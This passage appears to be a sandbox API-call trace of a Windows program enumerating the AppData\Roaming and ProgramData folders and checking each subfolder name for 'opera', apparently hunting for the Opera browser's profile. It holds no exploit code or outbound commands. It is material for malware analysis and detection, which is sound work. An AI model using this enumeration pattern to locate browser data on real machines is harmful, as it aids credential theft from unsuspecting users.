lpFindFileData=0xefc10) returned 1 [0047.397] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.397] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] lstrcmpiA (lpString1=".", lpString2="Adobe") returned -1 [0047.397] lstrcmpiA (lpString1="..", lpString2="Adobe") returned -1 [0047.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.397] lstrlenA (lpString="\\") returned 1 [0047.397] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750820 [0047.397] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned 40 [0047.397] lstrlenA (lpString="Adobe") returned 5 [0047.397] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x750990 [0047.397] lstrcpyA (in: lpString1=0x750990, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe" [0047.397] LocalFree (hMem=0x750820) returned 0x0 [0047.397] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe", lpSrch="opera") returned 0x0 [0047.397] LocalFree (hMem=0x750990) returned 0x0 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.397] lstrcmpiA (lpString1=".", lpString2="Identities") returned -1 [0047.397] lstrcmpiA (lpString1="..", lpString2="Identities") returned -1 [0047.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.397] lstrlenA (lpString="\\") returned 1 [0047.397] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750990 [0047.398] lstrcpyA (in: lpString1=0x750990, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned 40 [0047.398] lstrlenA (lpString="Identities") returned 10 [0047.398] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.398] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities" [0047.398] LocalFree (hMem=0x750990) returned 0x0 [0047.398] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities", lpSrch="opera") returned 0x0 [0047.398] LocalFree (hMem=0x756820) returned 0x0 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] lstrcmpiA (lpString1=".", lpString2="Macromedia") returned -1 [0047.398] lstrcmpiA (lpString1="..", lpString2="Macromedia") returned -1 [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.398] lstrlenA (lpString="\\") returned 1 [0047.398] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750990 [0047.398] lstrcpyA (in: lpString1=0x750990, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned 40 [0047.398] lstrlenA (lpString="Macromedia") returned 10 [0047.398] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.398] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia" [0047.398] LocalFree (hMem=0x750990) returned 0x0 [0047.398] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia", lpSrch="opera") returned 0x0 [0047.398] LocalFree (hMem=0x756820) returned 0x0 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] lstrcmpiA (lpString1=".", lpString2="Microsoft") returned -1 [0047.398] lstrcmpiA (lpString1="..", lpString2="Microsoft") returned -1 [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.398] lstrlenA (lpString="\\") returned 1 [0047.398] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750990 [0047.398] lstrcpyA (in: lpString1=0x750990, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned 40 [0047.398] lstrlenA (lpString="Microsoft") returned 9 [0047.398] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x756820 [0047.398] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft" [0047.398] LocalFree (hMem=0x750990) returned 0x0 [0047.398] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft", lpSrch="opera") returned 0x0 [0047.398] LocalFree (hMem=0x756820) returned 0x0 [0047.398] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.398] lstrcmpiA (lpString1=".", lpString2="Mozilla") returned -1 [0047.398] lstrcmpiA (lpString1="..", lpString2="Mozilla") returned -1 [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.398] lstrlenA (lpString="\\") returned 1 [0047.398] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750990 [0047.398] lstrcpyA (in: lpString1=0x750990, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned 40 [0047.399] lstrlenA (lpString="Mozilla") returned 7 [0047.399] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x750820 [0047.399] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\" [0047.399] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla" [0047.399] LocalFree (hMem=0x750990) returned 0x0 [0047.399] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla", lpSrch="opera") returned 0x0 [0047.399] LocalFree (hMem=0x750820) returned 0x0 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 0 [0047.399] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0047.399] LocalFree (hMem=0x7508d8) returned 0x0 [0047.399] LocalFree (hMem=0x7469f0) returned 0x0 [0047.399] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.399] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.399] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.399] lstrlenA (lpString="\\*.*") returned 4 [0047.399] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x716ef8 [0047.399] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.399] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0047.399] FindFirstFileA (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 0x72dc90 [0047.399] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.399] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.399] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.399] lstrcmpiA (lpString1=".", lpString2="Adobe") returned -1 [0047.399] lstrcmpiA (lpString1="..", lpString2="Adobe") returned -1 [0047.399] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.399] lstrlenA (lpString="\\") returned 1 [0047.399] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.399] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.399] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.399] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.399] lstrlenA (lpString="Adobe") returned 5 [0047.399] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x73cc70 [0047.399] lstrcpyA (in: lpString1=0x73cc70, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.399] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0047.399] LocalFree (hMem=0x721848) returned 0x0 [0047.399] StrStrIA (lpFirst="C:\\ProgramData\\Adobe", lpSrch="opera") returned 0x0 [0047.400] LocalFree (hMem=0x73cc70) returned 0x0 [0047.400] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.400] lstrcmpiA (lpString1=".", lpString2="Application Data") returned -1 [0047.400] lstrcmpiA (lpString1="..", lpString2="Application Data") returned -1 [0047.400] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.400] lstrlenA (lpString="\\") returned 1 [0047.400] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.400] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.400] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.400] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.400] lstrlenA (lpString="Application Data") returned 16 [0047.400] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x758820 [0047.400] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.400] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Application Data" | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0047.400] LocalFree (hMem=0x721848) returned 0x0 [0047.400] StrStrIA (lpFirst="C:\\ProgramData\\Application Data", lpSrch="opera") returned 0x0 [0047.400] LocalFree (hMem=0x758820) returned 0x0 [0047.400] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.400] lstrcmpiA (lpString1=".", lpString2="Desktop") returned -1 [0047.400] lstrcmpiA (lpString1="..", lpString2="Desktop") returned -1 [0047.400] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.400] lstrlenA (lpString="\\") returned 1 [0047.400] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.400] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.400] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.400] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.400] lstrlenA (lpString="Desktop") returned 7 [0047.400] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x73cc70 [0047.400] lstrcpyA (in: lpString1=0x73cc70, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.400] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0047.400] LocalFree (hMem=0x721848) returned 0x0 [0047.400] StrStrIA (lpFirst="C:\\ProgramData\\Desktop", lpSrch="opera") returned 0x0 [0047.400] LocalFree (hMem=0x73cc70) returned 0x0 [0047.400] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.400] lstrcmpiA (lpString1=".", lpString2="Documents") returned -1 [0047.400] lstrcmpiA (lpString1="..", lpString2="Documents") returned -1 [0047.400] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.400] lstrlenA (lpString="\\") returned 1 [0047.400] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.400] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.400] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.400] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.400] lstrlenA (lpString="Documents") returned 9 [0047.400] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.400] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.400] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0047.400] LocalFree (hMem=0x721848) returned 0x0 [0047.400] StrStrIA (lpFirst="C:\\ProgramData\\Documents", lpSrch="opera") returned 0x0 [0047.401] LocalFree (hMem=0x758820) returned 0x0 [0047.401] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.401] lstrcmpiA (lpString1=".", lpString2="Favorites") returned -1 [0047.401] lstrcmpiA (lpString1="..", lpString2="Favorites") returned -1 [0047.401] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.401] lstrlenA (lpString="\\") returned 1 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.401] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.401] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.401] lstrlenA (lpString="Favorites") returned 9 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.401] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Favorites" | out: lpString1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0047.401] LocalFree (hMem=0x721848) returned 0x0 [0047.401] StrStrIA (lpFirst="C:\\ProgramData\\Favorites", lpSrch="opera") returned 0x0 [0047.401] LocalFree (hMem=0x758820) returned 0x0 [0047.401] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.401] lstrcmpiA (lpString1=".", lpString2="Microsoft") returned -1 [0047.401] lstrcmpiA (lpString1="..", lpString2="Microsoft") returned -1 [0047.401] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.401] lstrlenA (lpString="\\") returned 1 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.401] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.401] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.401] lstrlenA (lpString="Microsoft") returned 9 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.401] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0047.401] LocalFree (hMem=0x721848) returned 0x0 [0047.401] StrStrIA (lpFirst="C:\\ProgramData\\Microsoft", lpSrch="opera") returned 0x0 [0047.401] LocalFree (hMem=0x758820) returned 0x0 [0047.401] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.401] lstrcmpiA (lpString1=".", lpString2="Microsoft Help") returned -1 [0047.401] lstrcmpiA (lpString1="..", lpString2="Microsoft Help") returned -1 [0047.401] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.401] lstrlenA (lpString="\\") returned 1 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.401] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.401] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.401] lstrlenA (lpString="Microsoft Help") returned 14 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x758820 [0047.401] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Microsoft Help" | out: lpString1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0047.401] LocalFree (hMem=0x721848) returned 0x0 [0047.401] StrStrIA (lpFirst="C:\\ProgramData\\Microsoft Help", lpSrch="opera") returned 0x0 [0047.401] LocalFree (hMem=0x758820) returned 0x0 [0047.401] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.401] lstrcmpiA (lpString1=".", lpString2="Mozilla") returned -1 [0047.401] lstrcmpiA (lpString1="..", lpString2="Mozilla") returned -1 [0047.401] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.401] lstrlenA (lpString="\\") returned 1 [0047.401] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.401] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.402] lstrlenA (lpString="Mozilla") returned 7 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x73cc70 [0047.402] lstrcpyA (in: lpString1=0x73cc70, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Mozilla" | out: lpString1="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0047.402] LocalFree (hMem=0x721848) returned 0x0 [0047.402] StrStrIA (lpFirst="C:\\ProgramData\\Mozilla", lpSrch="opera") returned 0x0 [0047.402] LocalFree (hMem=0x73cc70) returned 0x0 [0047.402] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.402] lstrcmpiA (lpString1=".", lpString2="Oracle") returned -1 [0047.402] lstrcmpiA (lpString1="..", lpString2="Oracle") returned -1 [0047.402] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.402] lstrlenA (lpString="\\") returned 1 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.402] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.402] lstrlenA (lpString="Oracle") returned 6 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x73cc70 [0047.402] lstrcpyA (in: lpString1=0x73cc70, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Oracle" | out: lpString1="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0047.402] LocalFree (hMem=0x721848) returned 0x0 [0047.402] StrStrIA (lpFirst="C:\\ProgramData\\Oracle", lpSrch="opera") returned 0x0 [0047.402] LocalFree (hMem=0x73cc70) returned 0x0 [0047.402] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.402] lstrcmpiA 